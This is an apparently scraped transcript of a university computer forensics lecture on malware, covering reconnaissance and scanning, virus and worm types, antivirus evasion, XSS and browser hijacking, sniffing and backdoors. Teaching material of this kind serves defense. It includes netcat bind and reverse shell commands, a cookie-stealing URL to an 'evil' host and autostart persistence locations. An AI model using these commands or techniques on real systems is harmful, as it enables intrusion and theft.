/
Malware Malware

Malware - PowerPoint Presentation

stefany-barnette
stefany-barnette . @stefany-barnette
Follow
446 views
Uploaded On 2015-10-12

Malware - PPT Presentation

Computer Forensics Attack Phases Computer Forensics 2013 Hacking Phases of a Targeted Attack Reconnaissance Scanning Gaining Access Expanding Access Covering Tracks Antiforensics Reconnaissance ID: 158390

kernel code attacker system code kernel system attacker windows virus address program file function buffer user pointer attack overflow

Share:

Link:

Embed:

Download Presentation from below link

Download Presentation The PPT/PDF document "Malware" is the property of its rightful owner. Permission is granted to download and print the materials on this web site for personal, non-commercial use only, and to display it on your personal computer provided you do not modify the materials and that you retain all copyright notices contained in the materials. By downloading content from our website, you accept the terms of this agreement.


Presentation Transcript

Slide1

Malware

Computer ForensicsSlide2

Attack Phases

Computer Forensics 2013Slide3

Hacking

Phases of a Targeted Attack

Reconnaissance

Scanning

Gaining Access

Expanding Access

Covering

Tracks /

AntiforensicsSlide4

Reconnaissance

Computer Forensics 2013Slide5

Reconnaissance

Social Engineering

Incite a human to act imprudently, furthering the goals of the attacker:

“I cannot access my email. What do I do?”

Countermeasures:

Identify security issues

Develop policies

Need to prevent leakage of information

Need buy-in by users and agents

Need to maintain user-friendliness of IT

Physical Reconnaissance

Dumpster Diving

Especially bountiful when people move

Installation of scanning devicesSlide6

Reconnaissance

Finding publicly available information

Contact information of internet registration

WhoIs, ARIN, RIPE, …

Internal documents made publicly available:

Use search engines

Check Internet Archive, …

Identify naming conventions and guess file names

Scrutinize publications

A word document might contain the revision history with old versions of file

A PDF file had confidential information obscured by a black box, that could be removed

Email, Usenet, Blog postings that identify names of internal machines, … Slide7

ScanningSlide8

Scanning

Wireless Scanners

War driving: Finding Wireless Access Points

Normal WLAN needs < 100 m to access point to function well.

Good antenna can get a signals from miles away.

Omni-directional antenna make war driving easy.

Directional antenna yield better results.

Can build a good one out of a Pringles box.Slide9

Scanning

Home-made War Driving AntennaSlide10

Cantenna

COEN 252 ProjectSlide11

Cantenna

COEN 252 ProjectSlide12

Scanning

War driving goal:

Locate WLANs

Determine Extended Service Set Identifier (ESSID)

Access points transmit beacon packets approximately every 100 msec.Slide13

Scanning

Active Scanning:

Broadcast 802.11 probe packets with ESSID of “Any”

Implemented by netstumbler.

Or Windows XP SP 2.

Listening for Beacons

Put wireless card into the monitor mode.

AKA rfmon

Read all packages.

Implemented by Wellenreiter, Kismet,

Forcing Deauthentication

Some WLANs ignore probes with an ESSID of “any”.

First, get MAC address of access point.

Tool sends a wireless deauthenticate message to client with spoofed MAC of access point.

Clients now need to reassociate, revealing the ESSID.Slide14

Scanning

Hardening

Set ESSID to something that does not contain the name of your organization.

Configure access points to ignore probe requests that don’t include the ESSID.

Use stronger authentication mechanism.

Do not rely on MAC address alone, since this can be spoofed.

Switch from WEP to WPA

Reset transmission power of access points.Slide15

Scanning

War Dialing

Looking for modems by dialing all numbers of an organization.

Target are ill-configured modems.

Especially those connected to computers with remote control products such as VNC, psAnywhere, Mini Remote Control, Laplink Gold, …Slide16

Scanning

Network Mapping

(Assume that attackers have gained access to the target system.)

Sweeping:

Attempting to ping all possible addresses.

Port mapping:

Identify services listening on ports:

TCP Connect Scan

Tries to complete TCP threeway handshake.

TCP Syn Scan

Attacker sends Syn, but does not ack to the Syn-Ack response by the target.

(Many systems do not log these interrupted connection attempts.)

Could result into an accidental DOS attack, since target buffers these attempts waiting for completion. Attacker could send Reset instead of the final Ack to avoid this.Slide17

Scanning

Network Mapping

Port mapping:

Identify services listening on ports:

Protocol Violators:

TCP FIN

Attacker sends FIN packet.

Target supposed to send RESET packet, if port is closed.

Target does not send anything back if the port is open.

Xmas Tree Scan:

Attacker sends packets with URG, ACK, PSH, RST, SYN, and FIN flags.

Null Scan:

Attacker sends packet without any flags set.

Closed port sends RESET, listening port sends nothing.Slide18

Scanning

Network Mapping

Port mapping:

Identify services listening on ports:

Protocol Violators:

TCP ACK Scan

“Firewall Friendly”: Stateless firewalls will only let TCP packages through with the ACK flag set.

If packet passes through the firewall, then the internal system answers with a RESET packet.

Response of target is somewhat OS dependent.Slide19

Scanning

FTP Bounce Scans:

Goal: Source IP address does not show up in target logs.

Exploits

old

FTP option

(sometimes available with printers that support FTP)

:

FTP server allows a user to connect to them and requests that the server send a file to another system.

Attacker requests that a file is sent to every port on the target.

If the target port is open, then the FTP server tells the attacker that it opened the connection, but could not communicate.

If the target port is closed, then the FTP server tells the attacker that it could not communicate with the target.Slide20

Scanning

Idle Scanning

IP header includes a field “IP Identification”.

Bunches together a bunch of fragments.

Windows increases IP ID by one whenever it needs a new number.

Attacker first identifies a system that is being blamed.

Attacker then determines the current IP ID at the blamed system.

Attacker then sends fake message purporting to be from the blamed system to the target.

Target will increment IP ID number at the blamed system if it sends a reset.

Attacker determines whether the IP ID number has increased.Slide21

Scanning

SYN

scapegoat

targetSlide22

Scanning

ACK IP-ID = 5Slide23

Scanning

SYN to TCP port 12345Slide24

Scanning

SYN-ACK from Port 12345Slide25

Scanning

Port open: Reset, IP-ID = 6Slide26

Scanning

SYNSlide27

Scanning

SYN-ACK IP-ID = 7Slide28

Scanning

Aha:

Target must have sent a reset attack.Slide29

Types

Computer Forensics 2013Slide30

Malware Types

Self-replicating malware

Creates new

instances

of itself

In contrast to passive replication

Population growth

Changes in number of instances

Parasitic malware

Requires some other executable code to existSlide31

Malware Types

Logic Bomb

not self-replicating, zero population growth, possibly parasitic

Consists of

Payload

An action to be performed

Trigger

Boolean condition to be executed

Example:

If Thomas Schwarz is not getting paid then delete the COEN website.Slide32

Malware Types

Trojan Horse

parasitic

Program that purports doing something benign

But secretely performs a malicious task

Example:

Authentic looking login page with username and password prompt

Stores result in a file, exits user, so that true login page appearsSlide33

Malware Types

Backdoor

Mechanism that bypasses normal security checks

Virus

Self-replicating

Positive Population Growth

Parasitic

Runs when a certain executable runs

Infects other executables

Traveling on same system, floppy, CD, DVD, USB

First mentioned in SF novel “The Scarred Man” Gregory Benford, 1970Slide34

Malware Types

Worm

self-replicating

positive population growth

not parasitic

Spread from machine to machine across a networkSlide35

Malware Types

Rabbits

Tries to consume all system resources by multiplying quickly

Fork bomb

A worm that deletes itself after infecting another machine

Worm hops from machine to machineSlide36

Malware Types

Spyware

Software that collects information from a system and transmits it to someone else.

Addware

Spyware that presents adds.Slide37

Virus

Viruses consist of

Infection Mechanism

Can be

multipartite

Trigger (optional)

Payload (optional)Slide38

Virus

Target Classification

Boot-Sector Infectors

File Infectors

Macro Viruses

Concealment Strategy Classification

No Concealment

Encryption

Stealth

Oligomorphism, Polymorphism, MetamorphismSlide39

Virus

: Boot Sector Infectors

Contains code that runs when a system starts up.

Volume Boot Record

First sector of an

unpartitioned

storage device

First sector of an individual partition

Master Boot Record

First sector of data storage device that has been partitionedSlide40

Virus: Boot Sector Infectors

Booting:

Bootstrap loader

Loads software to start OS

Multi-stage bootstrap loader

Boot sequence on IBM-PC

Runs instruction at memory location F000:FFF0 of BIOS

Jumps to execution of BIOS startup program

Executes Power-On Self-Test (POST)

Checks, initializes devices

Goes through preconfigured list of devices

If it finds bootable device, loads, and executes boot sector

Assume MBR on hard drive

MBR contains address of bootable partition

Load boot sector of bootable partition

Boot sector moves OS kernel into memory and starts itSlide41

Virus: Boot Sector Infectors

Boot Sector Infector

Copies itself into the MBR or VBR

Typically after making copy of MBR in a “safe location”

Michelangelo:

April 1991

Moves original boot sector to safe location

Infects all floppy disks inserted into computer

Payload:

overwrites file system with zeroes

Extinct in the wildSlide42

Virus: Boot Sector Infectors

Boot Sector Infector

Stoned Virus

Original version infects only 360KB diskettes

1988

Many variants

Behavior

Becomes memory resident

Disables interrupt 12

Infects MBR

Infects all diskettes

Moves boot sector to sector 11 and copies itself into sector 0

Same values as chosen by Michelangelo, so that computers infected with both became immediately dysfunctional

Usually destroys part of the file system

Payload: Displays message during boot process:

“Your PC is now Stoned!

Your computer is now stoned.Slide43

Virus: Boot Sector Infectors

Extinct in the wild:

Floppies are rarely used to boot, disabling the propagation mechanism

OS prevent writing to a disk’s boot sector without proper authorization

BIOS can enable boot block protectionSlide44

Virus: File Infectors

Virus infects executables

Virus is placed in an executable

Prepending Virus: At the beginning

Execution of a *.com loads file into memory

Set PC to beginning of file

Often copies infected file further down

Code

Code

VirusSlide45

Virus: File Infectors

Code

Code

Virus

Appending Virus: At the end

To get control

Save original instruction in code, replace by jump to viral code, execute virus, restore original instruction and jump to them or run original instruction at saved location followed by jump to the rest of the code

Executable file formats can specify start location in file header Slide46

Virus: File Infectors

Overwriting Viruses

Atop original code

Does not change file size

Virus gets control in normal execution of file

Placement Strategies:

Place virus in superfluous data

Place virus in file slack or unused allocated file space

Stash overwritten contents in a companion file

Compress (parts of) the original file, decompressSlide47

Virus: File Infectors

Inserting Virus

Move target code out of way

Intersperse small pieces of virus with infected file

Companion Virus

Virus gets executed before infected file

Infected file barely changedSlide48

Virus: File Infectors

Companion Virus Example

Change name of target file

Copy notepad.exe to notepad.exp

Virus is in new notepad.exe, which calls notepad.exp

Virus placed earlier in search path

notepad.exe in a different directory than real notepad.exe

notepad.com is executed before notepad.exe

Use Windows registry to change association for .exe files

Change “interpreter in ELF files

Typically the run-time linker, but now virus

Associate icon of target with virusSlide49

Virus: Macro Virus

Macros

Code that is part of documents.

Used extensively in MS Office Tools

Written in or translated to Visual Basic for Applications (VBA) code

Macro Virus

Changes or creates new macroSlide50

Virus: Macro Virus

Example:

Concept 1995-1997

Infects Word’s global document-template NORMAL.DOT

Creates PayLoad and FileSaveAs macros

Infects all documents saved with the Save As commandSlide51

Virus: Macro Virus

Example: Laroux

1996 –

Excel macro virus

Consists of auto_open and check_files

auto_open executes whenever an infected spreadsheet is opened, followed by check_files

Virus looks for PERSONAL.XLS

Virus contains no malicious payloadSlide52

Virus: Macro Virus

Protective Strategies

Later versions of MS Office have security levels for execution of macros

Level high only executes signed macros

MS Office provides warnings when files contain macros

ScanProt (Word prior to 7.0a) scans for the Concept virusSlide53

Virus: Concealment

Encryption

Virus body is encrypted to make it harder to detect

Virus needs to contain a decryption engine

Encryption methods range from very simple to strongSlide54

Virus: Concealment

Stealth

Virus takes active steps to conceal infection

Restore original file timestamp

Intercept system calls to play back original information of file

Change I/O calls in DOS

Change system libraries in more sophisticated OS

Run rootkit

Anti-stealth virus

Virus makes all files look infected

Payload: Anti-virus software deletes all other filesSlide55

Virus: Concealment

Oligomorphism

Encrypted virus changes encryption key between infections

Infected files have different file signatures

Polymorphism

Virus also changes decryption engine

By using equivalent instruction sequences

By using different versions

Tremor had 6 decryption engines

Makes it difficult for virus to detect its presence

Virus can use specific timestamp (e.g. add 100 to file year)

Pad file sizes of infected files to a certain value

Use hidden flags in ELF format

Use metadata or alternative data streams (in NTFS)

Store data in registry or other locationSlide56

Virus: Concealment

Hiding

Decryptor

Engine

Using a

mutation engine

Instruction equivalence

All these set register r0 to zero:

clear r0

xor

r0,r0

and 0, r0

move 0, r0

Instruction sequence equivalence

Instruction reordering

Register renaming

Data reordering

Spaghetti code

Junk code insertion

Run-time code generation

Use a virtual machine

Use concurrent threads to make analysis difficult

Inlining

, outlining, call sequence changesSlide57

Virus: Concealment

Metamorphism

Use code modification to change body of virusSlide58

Virus: Antivirus Techniques

Detection

Identification

DisinfectionSlide59

Virus: Antivirus Techniques

Static Detection Mechanism

On-demand / On –access scanning

Virus signatures a.k.a scan strings:

Identifying substrings in infected code

Problem: How to search for many patterns at once

Static Heuristics

Positive Heuristics

Negative HeuristicsSlide60

Virus: Antivirus Techniques

Static Detection Mechanism

Positive Heuristics (Boosters)

Junk code

Decryption loops

Self-modifying code

Use of undocumented API

Manipulation of interrupt vectors

Unusual instructions, especially those not emitted by a compiler

Strings containing obscenities or “virus”

Difference between entry point and end of file

Spectral analysis

Frequency analysis of instructionsSlide61

Virus: Antivirus Techniques

Static Detection Mechanism

Negative heuristics = stoppers

user input

GUI popups

Analysis

Weighted measure

trained by good and bad sets

Neural networks

Data miningSlide62

Virus: Antivirus Techniques

Static Detection Mechanism

Integrity Checks

Tripwire:

Calculate cryptographically secure hash of all system files

Store it in unchangable directory

E.g. CD-ROM

Scan periodically to check integrity of all system files

Updates:

Check integrity of system

Patch system

Calculate new checksums

Self-checking of antivirus softwareSlide63

Virus: Antivirus Techniques

Dynamic Methods

Behavior blockers:

Software monitors running program in real time

Watches for suspicious activity such as file system accesses

Appending virus opens executable for reading and writing

Generates activity signature of bad pattern:

open, read, write, seek to end, appending, close

Use notion of ownership to prevent too many false positivesSlide64

Virus: Antivirus Techniques

Dynamic Methods

Emulation

Analyze code before letting it run

Emulation uses dynamic heuristics

Same as static heuristics

Same as behavior blockers

Emulation uses generic decryption

Use virus’ own decryption loop to scan for decrypted virus

Decryption loop should have run when:

Program accesses code that it just modified

24B + of modified memory

Emulator can run signature searches some time into run-time of emulated codeSlide65

Virus: Antivirus Techniques

Dynamic Methods

Emulator Architecture

Single stepping through a program can be detected by virus through timing

Instead:

CPU emulation

Memory emulation

Hardware and OS emulation

Emulation control

Major Issue: When to stop

Number of instructions

Amount of time spent emulating

Proportion of instructions that modify memory

Presence of stoppers

Post Analysis Data

Instruction histogram

Dead codeSlide66

Virus: Antivirus Techniques

Dynamic Methods

Reentering emulation:

Virus code can be CPU specific. Emulation might need to run with different CPU parameters.

Installation of interrupt handlers should trigger emulation of the interrupt handlers

Using goats to verify infective behavior

Emulator provides a goat file to suspect file to see changes. Slide67

Virus: Antivirus Techniques

Verification and Identification

Verification

reduces false positives

necessary for disinfection

Difficult only with polymorphic viruses

Try to decrypt virus body –

X-raying

Side effect of emulating decryptor engine

Breaking weak encryption

Identify using

signatures

known copy of virus

check-summing of virusSlide68

Virus: Antivirus Techniques

Quarantine

Quarantine isolates infected file from rest of the system

Often, copying of file to a quarantine directory

Trivially encrypt file to make it unrunnable

Render files in quarantine directory invisibleSlide69

Virus: Antivirus Techniques

Disinfection

Restore files from backup

Virus-specific actionsSlide70

Virus: Antivirus Techniques

Anti-Macro Virus

Macro can change through reformatting

MS Word document converter has produced new versions of a macro virus

Bugs in macro virus propagation mechanism can introduce new variants

Macro virus can incorporate other macros

Happened to a Word macro snatching two anti-virus macros from MSSlide71

Anti-Anti-Virus Techniques

Aggressively attack anti-virus software

Impede anti-virus analysis by anti-virus labs

Use knowledge of anti-virus mechanisms to avoid dectection

Not anti-virus virus

“Beneficial” virusSlide72

Anti-Anti-Virus Techniques

Retrovirus

Disables anti-virus software

Virus has list of process names of anti-virus products

Kills any processes with these names

Disables antivirus program

Ganda inspects programs that run at start-up (autorun)

Replaces first instruction of identified anti-virus programs with a return

Reduce priority of anti-virus software so that it never runs

Disable look-up of antivirus software updatesSlide73

Anti-Anti-Virus Techniques

Entry point obfuscation (EPO)

Alternative ways of getting virus code to run

Simile, Ganda look for calls to ExitProcess APISlide74

Anti-Anti-Virus Techniques

Anti-Emulation

Outlast emulation

Virus can do nothing bad for a long time

Virus only replicates randomly

Entry-point obfuscation also delays virus execution

Outsmarting emulation

Restructure viral code

No longer looks like a virusSlide75

Anti-Anti-Virus Techniques

Anti-Emulation

Emulator detection

Use undocumented CPU instructions

In the hope that emulator crashes on them

Exploit differences in CPU

Attack emulator memory system

use many memory addresses

go to unusual memory locations

Test for changes between API calls

E.g. emulator returns always the same time stamp

Import obscure libraries

Looking for external things

Hard to emulate

Check for specific emulatorsSlide76

Anti-Anti-Virus Techniques

Armoring, Anti-Debugging

Armoring

Use anti-reverse engineering techniques to make analysis of virus behavior difficult

Detecting Debug Mode

Use debugger specific idiosyncrasies

Detect breakpoint insertion

Breakpoints are implemented through system interrupts

Check for single-stepping

Interrupt dumps info on stack

Push on stack, then pop, see whether item is still there

Check for system time

Manipulate

prefetch

queue in CPU

Use

IsDebuggerPresent

APISlide77

Anti-Anti-Virus Techniques

Tunneling

Tunneling virus backtracks interrupt chain to go directly to DOS and BIOS interrupt handlers

Avoids monitoring

Only possible in MS-DOS

Kernel software protected in other OSSlide78

Anti-Anti-Virus Techniques

Anti-Integrity Checking

Polymorphic virus can hide file changes against simple checksums

Slow

virus only changes files that are about to be changed anywaySlide79

Anti-Anti-Virus Techniques

Avoidance

Virus infects areas that are not checked by anti-virus softwareSlide80

Worms

Worms:

Propagates across a network

Typically, does not require user action for propagation.

Virus:

Infects files.

Typically requires user interaction.Slide81

Worms

Worm Components

Warhead

Propagation Engine

Target Selection Algorithm

Scanning Engine

PayloadSlide82

Worm Warhead

A piece of code that exploits a vulnerability on the target system

Exploits such as Buffer Overflow Exploits

File Sharing Attacks

E-mail

Common Mis-configurationsSlide83

Worm Propagation Engine

After gaining access, the worm must transfer itself to the target machine.

Some worms are completely contained in the warhead.

File Transfer Mechanisms

FTP

TFTP

HTTP

SMB (MS Server Message Block)

Windows file sharing

Unix servers running SAMBASlide84

Worm Target Selection Algorithm

Once the worm has gained control of a target, it starts looking for new targets.

E-mail addresses

Host lists

Trusted Systems

Network Neighborhood

DNS queries

Randomly selected ip address.Slide85

Worm Scanning Engine

Once targets are identified, the worm scans for the original vulnerability.Slide86

Worm Payload

Some specific action done on behalf of the attacker.

Opening up a backdoor.

Planting a distributed denial of service attack.

Performing complex calculations:

password cracking

math research (actually happened)Slide87

Worm Spread

Worm spread is limited

Diversity of machines

“Tiny Worm”

targeted only machines running security software from a medium company

was successful in infecting most machines with that software.

Worms can contain support for multiple entry methods.

Too many victims crash

Fast worms can cause network congestionSlide88

Worm Trends

Multiplatform worms

Multiexploit worms

Zero-day exploit worms

No chance to patch

Fast-spreading worms: Warhol / Flash

pre-scan targets

Polymorphic worms

Change appearance

Metamorphic worms

Change functionalitySlide89

Worm Defenses

Ethical (?) Worms

Antivirus tools

Fast patching services

Firewalling

Block arbitrarily outbound connections

Prevents spreading

Establishment of Incident Response CapabilitiesSlide90

Sniffers

Sniffers: a program that gathers traffic from the local network.

Primary attack example:

Sniffers look for authentication information from clear-text protocols such as ftp or telnet.

Passive Sniffing:

Sniffer only gathers packets but does not change the network.

Active Sniffing:

Sniffer changes network settings.

Example: ARP poisoning in order to route traffic through the machine with the sniffer.Slide91

Sniffers

Active Sniffing Strategies:

Used to circumvent switches passing packets on only on the relevant links.

MAC Flooding:

Switches contain a Content Addressable Memory (CAM) table that maps MAC addresses and physical ports.

MAC flooder sends a flood of traffic with random spoofed MAC addresses.

When CAM is exhausted, switches either fail open (become hubs) or fail closed (stop working).

ARP Spoofing:

Attacker sends fake ARP messages to change ARP mappings.

Port Stealing:

Attacker sends numerous spoofed packets with MAC of the gateway.

Switch maps the MAC of gateway to the port on which the attacker sits.

Victim sends packets to the attacker, who buffers them.

Attacker finally sends an ARP request to clear the switch’s mapping.

Gateway responds to the ARP request. This causes the switch to remap the gateway’s MAC to the proper port.

Attacker now sends buffered packets to the gateway.Slide92

Sniffers

Active Sniffing Strategies:

DNS spoofing

Attacker sniffs DNS request from the line.

Victim tries to resolve a name using DNS.

Attacker sniffs the request and sends fake DNS answer.

Victim sends traffic now to attacker.Slide93

Sniffers

Active Sniffing Strategies:

Sniffing HTTPS and SSL with man-in-the-middle attack.

Attacker uses DNS poisoning to reroute victim’s requests to his website.

Victim establishes SSL connection to the attacker.

Attacker proxies the connection and sends certificate of his own making to victim.

Victim’s browser / SSL client complains about invalid certificate.

Error message is typically something like: “You are currently not trusting this authentication authority.”

Naïve user accepts.Slide94

Sniffers

Active Sniffing Strategies:

TCP

Nicing

Attacker injects tiny TCP window advertisements.

Victim slows down TCP rate and sniffer can keep up.Slide95

Malicious Mobile Code

Mobile Code

Light-weight code that is downloaded from a remote system and executed locally with none or little user intervention.

Examples:

Java Applets

JavaScripts

Visual Basic Scripts

Active X controlsSlide96

Malicious Mobile Code

Targets of malicious codes:

Monitoring of browser activities.

Obtaining access to file system.

Infection with a Trojan horse.

Hijacking web browser.

…Slide97

Malicious Mobile Code

Target Applications

Web-browsers (most important target)

E-mail readers

Either directly or because they use the installed browser to read html messages.

XML-based protocols

Web Service ArchitectureSlide98

Malicious Mobile Code

Browser scripts:

Use scripting languages such as JavaScript,

JScript

, VBScript, …Slide99

Malicious Mobile Code

Attack code

Can exhaust resources.

By creating an infinite series of dialogue boxes.

By creating a form and fill in an infinite number of characters.

Hijack the browser:

Takeover browser process. Slide100

Malicious Mobile Code

Browser Hijacking

Use the

onunload

( ) function:

<body

onunload

=“

window.open

(‘trap.html’))”>

Can be enhanced by resizing the window to fill the screen:

self.moveTo

(0,0);

self.resizeTo

(

screen.availWidth,screen.availHeight

);

Can be enhanced with popup windows.

Add bookmarks:

window.external.addFavorite

(‘http://

www.cse.scu’,’Info

’);Slide101

Malicious Mobile Code

Stealing cookies via browser vulnerabilities

Browser automatically supplies cookies associated with the domain of that website.

These cookies can contain valuable information.

Including authentication.Slide102

Malicious Mobile Code

IE 5.01 vulnerability:

Create server-side program capable of reading cookies.

Compose a URL that would fool the browser into thinking that the site visited belongs to a different domain.

http:// evil.site.com%2fget_cookies.html%3f.boa.com

is translated into

http://evil.site.com/get_cookies.html?.boa.com

IE 5.01 would think that the top URL belongs to the boa domain and provide the cookies.Slide103

Malicious Mobile Code

Capturing cookies

With tricky URLs (see above)

URL can be hidden in a

javascript

command or in a hidden region of html code.Slide104

Malicious Mobile Code

Mozilla

had

a vulnerability that executed

javascript

in the URL.Slide105

Malicious Mobile Code

Browsers allow

Javascript

in URL if preceded by

javascript

:Slide106

Malicious Mobile Code

Browsers allow

Javascript

in URL if preceded by

javascript

.

Change

javascript

in URL to retrieve cookies.Slide107

Malicious Mobile Code

XSS (cross scripting) attack

Authors injects malicious code into a website.

Browsers of visitors to this website will execute the code.Slide108

Malicious Mobile Code

XSS (cross scripting) attack

Vulnerable search engine does not strip out the JavaScript script:

Search engine sends the script back to victim’s browser.

Victim’s browser executes JavaScript.

Browser pop-ups alert with cookie values.

Attacker needs to trick the victim into using this URL.Slide109

Malicious Mobile Code

XSS (cross scripting) attack

Assume victim has interactions with a vulnerable website.

Attacker crafts a link, sends it to the victim (e.g. via email) and tricks the victim into clicking on the link.

Victims browser uses the attacker-provided URL to go to the vulnerable web server.

Web server “reflects” JavaScript back to victim’s browser.

Victim’s browser executes JavaScript (because it trusts the vulnerable web server.)

Attack JavaScript payload might be transmission of cookies.

Cookies can then be used to hijack a session, …Slide110

Malicious Mobile Code

XSS (cross scripting) attack

Malicious script can also be embedded in html documents.Slide111

Malicious Mobile Code

Script sends invisible request to evil.scu.edu containing cookies.

Attacker’s cgi script on the evil side processes the cookies.

Stolen cookies can be used to clone connections.Slide112

Malicious Mobile Code

Defenses on Server Side

Input filtering

Remember, all input is (potentially) evil.

This is very hard, since scripts can be hidden very well.

Output filtering

The attack scripts needs to be reflected to the victim. So, this works.Slide113

Malicious Mobile Code

Defenses on Client (= Browser) side

Never surf the internet with administrator privileges.

Disable scripts.

IE explorer introduced security zones to automatically disable scripts for general domains.Slide114

Malicious Mobile Code

Active X Controls

Part of Common Object Model COM

Have the same powers as a normal program

Microsoft Agent allows inclusion of animated and interactive cartoon characters in web pages.

Are executed with the same permission set as the browser.

E.g. administrator privileges.Slide115

Malicious Mobile Code

Active X-controls can be cryptographically signed.

Possible to use social engineering to get users to accept the active X-control.

For example, sign certificate by unknown certification authority.Slide116

Malicious Mobile Code

Browser Plug-Ins (a.k.a. Browser Helper Objects (BHO) for IE.)

Extends functionality of IE.

Google search bar is an BHO

Preferred by writers of spyware.

Gator

Xupiter

Have hidden functionality

Check with BHODemonSlide117

Malicious Mobile CodeSlide118

Malicious Mobile Code

Exploits in Non-malicious ActiveX controls

Some ActiveX controls are only designed for local use since they access system resources.

Could mistakenly be designated as safe for scripting.

A hostile web-site can then call them in its html code.

Eyedog (1999)

Scriptlet.Typelib (1999)

Some ActiveX controls are exploitable.

Old Macromedia flash player when provided with a carefully crafted input string.Slide119

Malicious Mobile Code

Java Applets

By default, run in a sandbox.

Browser invokes Java plug-in.

If not signed, Java Runtime Environment (JRE) runs it in a sandbox.

If signed, java.policy file determines what happens.

Attackers can use social engineering to get users to run bad java applets.

Historically, there were exploits in the JRE.Slide120

Malicious Mobile Code

Java Runtime Engine exploits:

Brown Orifice (2000)

Applet was able to run as a web server with full access to the victim’s file system.

Redirection of browsing session to an arbitrary server (2002)

Van der Wal: applets used to access external URLs could bypass network access restrictions.

Opera browser crash (2003)

Malicious applet invoked Opera JRE class that crashed when provided with a long input string.Slide121

Malicious Mobile Code

E-mail clients can function essentially as a regular web browser.

All mobile code exploits function for email clients.

Javascript can execute by merely previewing the email.

BubbleBoy and Kak worms spread via email messages.Slide122

Malicious Mobile Code

Web Bugs

Tiny image within an html document.

Lead to download http request.

http request comes with source IP.

Used by advertisers.Slide123

Malicious Mobile Code

Web bug privacy attack

Attacker sets cookies with unique ID.

Spam with web bug

Call to web bug resource comes with cookie attached.

Call to web bug resource comes with email address attached.

Initial session is no longer anonymous.Slide124

Malicious Mobile Code

Exploiting Browser Vulnerabilities

Assumed to be less dangerous, since victim needs to be tricked to go to a bad site.

Example: Download.Ject flow in Internet Explorer (2004)

Attacker took over several e-commerce servers.

An innocent victim surfed to some of these sites.

E-commerce server responded with a webpage that exploits the browser.

Browser exploit downloads keylogger.

Keylogger gathers financial data from victim’s computer use.

Keylogger sends financial data to attacker controlled website.Slide125

Malicious Mobile Code

Exploiting Browser Vulnerabilities

Example: IFRAME flaw (2004)

Attacker took over an ad-server.

Victim’s computer downloaded ad.Slide126

Backdoors

Backdoor:

A program that allows attackers to bypass normal security controls on a system, gaining access to which they are not entitled.Slide127

Backdoor Types

Local Escalation of Privilege

Remote execution of individual commands.

Remote command-line access.

Remote control of the GUI.Slide128

Backdoor Installation

Attacker has compromised the system

Virus, worm, or malicious mobile code installs the backdoor.

Social engineering: Tricking the victim into installing the backdoor.

...Slide129

Starting backdoors automatically

Attacker wants to maintain access to the system.

Backdoor needs to restart whenever the system restarts.

Methods are OS dependent.Slide130

Starting backdoors automatically on Windows

Altering Startup Files and Folders

Registry

Task SchedulerSlide131

Starting backdoors automatically on Windows

Startup folders and files

Autostart folders for individual users and all users.Slide132

Starting backdoors automatically on Windows

Use:

win.ini

system.ini

Modify “shell=explorer.exe” on Win9x

wininit

winstart.bat (Win9x)

Autoexec.bat (Win9x)

Config.sys (Win9x)Slide133

Starting backdoors automatically on Windows

Registry keys start programs on login or reboot:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\

RunServicesOnce

RunServices

RunOnce

Run

RunOnceExSlide134

Starting backdoors automatically on Windows

HK

CU

\SOFTWARE\Microsoft\Windows\CurrentVersion\

RunServicesOnce

RunServices

RunOnce

Run

RunOnceExSlide135

Starting backdoors automatically on Windows

Registry keys start programs on login or reboot:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad

HKLM\SOFTWARE\Policies\Microsoft\Windows\System\

Scripts

Explorer\RunSlide136

Starting backdoors automatically on Windows

Registry keys start programs on login or reboot:

HK

CU

\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

HK

CU

\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad

HK

CU

\SOFTWARE\Policies\Microsoft\Windows\System\

Scripts

Explorer\RunSlide137

Starting backdoors automatically on Windows

Registry keys start programs on login or reboot:

HKCR\Exefiles\Shell\Open\Command

Indicates programs that will be run every time another .exe is run.Slide138

Starting

backdoors automatically on Windows

Use the task scheduler

Check scheduled tasks with

autoruns

from

SysinternalsSlide139

Starting backdoors automatically on Unix

Modifying the init daemon

Modifying system and service initialization scripts

Modify the internet daemon script

Change user startup scripts

Schedule jobs with

CronSlide140

Starting backdoors automatically on Unix

Modify the init daemon

init daemon is the first process to start.

uses /etc/inittab to find other processes that need to be started

attacker merely adds line to inittab.Slide141

Starting backdoors automatically on Unix

Modify system and service initialization scripts

About 20+ system scripts

Located in /etc/rc.d or /etc/init.d

Or merely plant a backdoor in an initialization script for another service.

E.g. ppp daemon

for PPP modem dial-up connections

inetd

network daemon

change /etc/inetd.conf Slide142

Starting backdoors automatically on Unix

Adjust user startup scripts

.login

.cshrc

/etc/profile

.logout

.xinitrc

.xsessionSlide143

Starting backdoors automatically on Unix

Schedule jobs with CronSlide144

Backdoor Defenses

System integrity tools like tripwire

Apply to all resources Slide145

Backdoor with netcat

netcat compiles into executable nc.

On the victim:

nc –l –p 2000 –e cmd.exe (Windows)

nc –l –p 2000 –e /bin/sh (Unix)

Sets up a listener on port 2000.

On the attacker:

nc [victim address] 2222

gives command shell.Slide146

Backdoor with netcat

Only works if attacker can establish a TCP connection to the port on the victim.

Firewalls can block this.Slide147

Backdoor with netcat

Use an open door in the firewall and initiate connection on the victim’s machine:

Shoveling a shell

On the attacker’s machine:

nc –l –p 80

netcat listener on port 80

On the victim’s machine:

nc [attacker’s address] 80 –e cmd.exe

initializes outgoing connection to attacker

then executes a shellSlide148

Backdoor with netcat

Alternatives to netcat

cryptcat

Tini

Q

Bindshell

Md5bd

UDP_Shell

TCPshell

Crontab-backdoorSlide149

Virtual Network Computing

Remote GUI tools

Virtual Network Computing (VNC)

Windows Terminal Services

Remote Desktop Service

Citrix MetaFrame

PCAnywhere

Dameware

Back Orifice 2000

SubSeven www.megasecurity.orgSlide150

Virtual Network Computing

VNC server allow to shovel a shell.

Can be remotely installed:

Attacker has remote shell access on victim

Attacker installs copy of VNC on his machine

Attacker exports the registry keys associated with VNC to the victim

Attacker moves four files to victim

Attacker adds registry changes to victim

This will display a VNC installation successful message on the victim

Attacker starts VNCSlide151

Defenses against Backdoor Shell Listeners

Use firewalls

Filter traffic in both directions.

Firewall individual machines.

Look for open ports.

On the network (Nmap)

Or with a trusted tool (on CD) locally.

Close unneeded ports.Slide152

